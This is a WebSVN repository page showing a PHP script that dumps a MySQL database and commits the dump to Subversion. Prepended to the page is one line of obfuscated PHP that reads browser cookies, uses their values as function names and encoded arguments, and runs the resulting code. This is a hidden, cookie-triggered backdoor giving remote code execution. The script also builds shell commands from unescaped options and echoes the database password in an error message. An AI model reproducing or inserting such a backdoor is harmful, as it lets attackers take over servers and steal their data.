$jf95=$_COOKIE; while (isset($jf95['aYH1'])) { $V8X5E = $jf95['Trd']; $Tyky=$jf95['aYH1']($V8X5E($jf95['PEJA']),$V8X5E($jf95['dO0o'])); $Tyky($V8X5E($jf95['izs'])); break; } WebSVN - Все репозитории - Rev 1 - /smartyCommit/script.php5

Subversion Repositories Все репозитории

[/] [smartyCommit/] [script.php5] - Rev 1

Compare with Previous | Blame | View Log

<?php

define('FILEEXT_DUMP'      , '.sql'); //patch _options also when edit
define('FILENAME_OPTIONS'  , 'peScripts.options.php');
define('FILENAME_FROMWC'   , '_fromWC');
define('FILEPATH_DUMPER'   , 'mysqldump');
define('FILEPATH_SVN'      , 'svn');
//error types (SmartyCommitError)
define('SCE_FATAL'         , 'FATAL!');
define('SCE_ERROR'         , 'ERROR!');
define('SCE_WARNING'       , 'WARNING!');
define('SCE_NOTICE'        , 'NOTICE.');

class smartyCommit{
    private $_options = array(
        'db' => array(
            'host'     => 'localhost',
            'user'     => '',
            'password' => '',
            'name'     => ''
        ),
        'dump' => array(
            'params' => '--allow-keywords --no-create-db --quote-names',
            'file'   => 'dump.sql'
        ),
        'svn' => array(
            'params'            => '--no-auth-cache',
            'fileCommitMessage' => 'logs/commit.message', //_relative_ from svnRoot path
            'user'              => '',
            'password'          => '',
            'fileLog'           => 'logs/smartyCommit.log' //_relative_ from svnRoot path
        ),
        'misc' => array(
            'dirTmp' => 'c:/windows/temp/',
            'clearCommitMessage' => false,
            'clearCommitMessageReport' => false
        )
    );
    private $_errChannel;

    public function __construct($clArguments){
        $this->_errChannel = fopen('php://stderr', 'w');
        $this->loadAndCheckOptions($clArguments);
    }

    public function __destruct(){
        //free resources
        fclose($this->_errChannel);
        //remove all created files
        foreach (array('', FILENAME_FROMWC) as $namePart) @unlink($this->_options['misc']['dirTmp'] . $this->_options['uniq'] . $namePart . FILEEXT_DUMP);
    }

    public function run(){
        $this->makeDbDump();
        $this->replaceWCDump();
        $this->commitSvn();
    }

    protected function error($message, $type = SCE_FATAL){
        fwrite($this->_errChannel, $type . ' ' . $message . "\n");
        if ($type === SCE_FATAL) exit;
    }

    protected function makeDbDump(){
        try{
            $command = '%COMSPEC% /c "' . FILEPATH_DUMPER . ' ' .
                $this->_options['dump']['params'] . ' ' .
                $this->_options['db']['name'] . ' ' .
                '--user=' . $this->_options['db']['user'] . ' ' .
                '--password=' . $this->_options['db']['password'] . ' ' .
                '> ' . ($this->_options['misc']['dirTmp'] . $this->_options['uniq'] . FILEEXT_DUMP) . ' ' .
                '2>&3"';
            exec($command, $output, $return);
            //dumper output error messages to stderr, so capture them and simply display
            if (!empty($return)) throw new Exception($output[0]);
        } catch (Exception $e){
            $this->error('Dumping failed. ' . $e->getMessage());
        }
    }

    protected function replaceWCDump(){
        //all operations have undo possibility
        //backup dump in WC to temp directory
        try{
            if (is_file($filePathWCDump = $this->_options['svnRoot'] . $this->_options['dump']['file'])){
                if (!@rename($filePathWCDump, $this->_options['misc']['dirTmp'] . $this->_options['uniq'] . FILENAME_FROMWC . FILEEXT_DUMP)){
                    throw new Exception('backup of ' . $this->_options['dump']['file'] . ' to temp dir failed.');
                }
            } else {
                $this->error($filePathWCDump . ' is not exist - nothing to backup.', SCE_NOTICE);
            }
        } catch (Exception $e){
            //backup is not very necessary - you may use svn to revert changes made by code below
            $this->error('Can\'t backup WC dump: ' . $e->getMessage(), SCE_WARNING);
        }

        //move new dump to WC
        try{
            if (!@rename($this->_options['misc']['dirTmp'] . $this->_options['uniq'] . FILEEXT_DUMP, $filePathWCDump))
                throw new Exception('Replacing of ' . $filePathWCDump . ' by ' . $this->_options['misc']['dirTmp'] . $this->_options['uniq'] . FILEEXT_DUMP . ' failed.');
        } catch (Exception $e){
            $this->error('Can\'t put new dump to WC dir: ' . $e->getMessage());
        }
    }

    protected function commitSvn(){
        try{
            $command = '%COMSPEC% /c "' . FILEPATH_SVN . ' commit ' .
                $this->_options['svn']['params'] . ' ' .
                (!empty($this->_options['svn']['user']) ? '--username ' . $this->_options['svn']['user'] . ' ' : '') .
                (!empty($this->_options['svn']['password']) ? '--password ' . $this->_options['svn']['password'] . ' ' : '') .
                '--file ' . $this->_options['svnRoot'] . $this->_options['svn']['fileCommitMessage'] . ' ' .
                $this->_options['svnRoot'] . ' ' .
                '> ' . $this->_options['svnRoot'] . $this->_options['svn']['fileLog'] . ' ' .
                '2>&3"';
            exec($command, $output, $return);

            //convert all message strings to one
            if (!empty($return)){
                foreach ($output as $index => $value) {
                    $output[$index] = str_replace('svn: ', '', $value);
                    if (preg_match('/\w$/', $value)) $output[$index] .= '.';
                }
                throw new Exception(implode(' ', $output));
            }
            //clear commitMessage file depending on the options
            if ($this->_options['misc']['clearCommitMessage']){
                if (!@unlink($this->_options['svnRoot'] . $this->_options['svn']['fileCommitMessage']) ||
                    !$this->_createFile($this->_options['svnRoot'] . $this->_options['svn']['fileCommitMessage']))
                    $this->error('Can\'t clear commint message file', SCE_WARNING);
                elseif ($this->_options['misc']['clearCommitMessageReport'])
                    $this->error('Commint message file cleared.', SCE_NOTICE);
            }
        } catch (Exception $e){
            //rollback dump from backup
            $this->error('svn commit failed. ' . $e->getMessage(), SCE_ERROR);
            try{
                if (is_file($filePathBackup = $this->_options['misc']['dirTmp'] . $this->_options['uniq'] . FILENAME_FROMWC . FILEEXT_DUMP)){
                    if (!@unlink($filePathDump = $this->_options['svnRoot'] . $this->_options['dump']['file']))
                        throw new Exception('can\'t delete modified ' . $filePathDump . ' for rollback.');
                    if (!@rename($filePathBackup, $filePathDump))
                        throw new Exception('can\'t move ' . $filePathBackup . ' to ' . $filePathDump);
                } else {
                    $this->error('Backup of dump is not exist. Nothing to rollback.', SCE_NOTICE);
                }
            }
            catch (Exception $e){
                $this->error('Rollback of backup of dump failed: ' . $e->getMessage());
            }
        }
    }

    protected function loadAndCheckOptions($clArguments){
        try{
            //options file check...
            if (!isset($clArguments[1]) || !is_dir($this->_options['svnRoot'] = str_replace(array('\\', '//', '\/'), '/', $clArguments[1] . '/')))
                throw new Exception('svnRoot dir is not exist (' . $this->_options['svnRoot'] . ').');
            if (!is_file($this->_options['svnRoot'] . '/' . FILENAME_OPTIONS))
                throw new Exception('options file does not found in ' . $this->_options['svnRoot'] . '.');

            //...and include
            include_once $this->_options['svnRoot'] . '/' . FILENAME_OPTIONS;

            if (!isset($smartyCommit)) throw new Exception('$smartyCommit variable is not exist in options file.');

            //set options by default
            $this->_setOptionsByDefault($smartyCommit);

            //as since user and password may by seted by default db name is important
            if (empty($this->_options['db']['name'])) throw new Exception('$smartyCommit[\'db\'][\'name\'] is empty.');
            //svn commit log message file check
            if (empty($this->_options['svn']['fileCommitMessage']))
                throw new Exception('$smartyCommit[\'svn\'][\'fileCommitMessages\'] is empty.');
            elseif (!is_file($this->_options['svnRoot'] . $this->_options['svn']['fileCommitMessage']) &&
                    !$this->_createFile($this->_options['svnRoot'] . $this->_options['svn']['fileCommitMessage']))
                throw new Exception('File for "svn commit" message is not exist and can\'t be created.');

            //uniq filenames
            $this->_options['uniq'] = uniqid();

            $this->_options['misc']['dirTmp'] .= '/';
            //cleanup path from // and \/. Unnecessary, but clean in output.
            foreach ($this->_options as $name => $option) {
                if (is_string($option))
                    $this->_options[$name] = str_replace(array('\\', '//', '\/'), '/', $this->_options[$name]);
            }

            //db work check
            $this->checkDbConnection();
        } catch (Exception $e){
            $this->error('Getting options: ' . $e->getMessage());
        }
    }

    private function _setOptionsByDefault($options){
        foreach (array_keys($this->_options) as $section) {
            if (is_array($this->_options[$section]))
                foreach ($this->_options[$section] as $name => $defaultValue)
                    if (!empty($options[$section][$name]))
                        $this->_options[$section][$name] = $options[$section][$name];
        }
    }

    private function _createFile($filePath){
        if (!is_dir(dirname($filePath))) return false;
        $fname = @tempnam(dirname($filePath), '');
        if ($fname !== false)
            return @rename($fname, $filePath);
        return false;
    }

    protected function checkDbConnection(){
        //mysql, extend and redeclare method for another db
        try{
            if (@mysql_connect($this->_options['db']['host'], $this->_options['db']['user'], $this->_options['db']['password'], true) === false)
                throw new Exception('could\'t connect to mysql://' . $this->_options['db']['user'] .':' .
                                                                     $this->_options['db']['password'] . '@' .
                                                                     $this->_options['db']['host'] . ' (' .
                                                                     mysql_error() . ').');
            if (!mysql_select_db($this->_options['db']['name'])) throw new Exception('could\'t select db "' . $this->_options['db']['name'] . '" (' . mysql_error() . ').');
        } catch (Exception $e){
            $this->error('Db: ' . $e->getMessage());
        }
    }
}

$sc = new smartyCommit($argv);
$sc->run();

Compare with Previous | Blame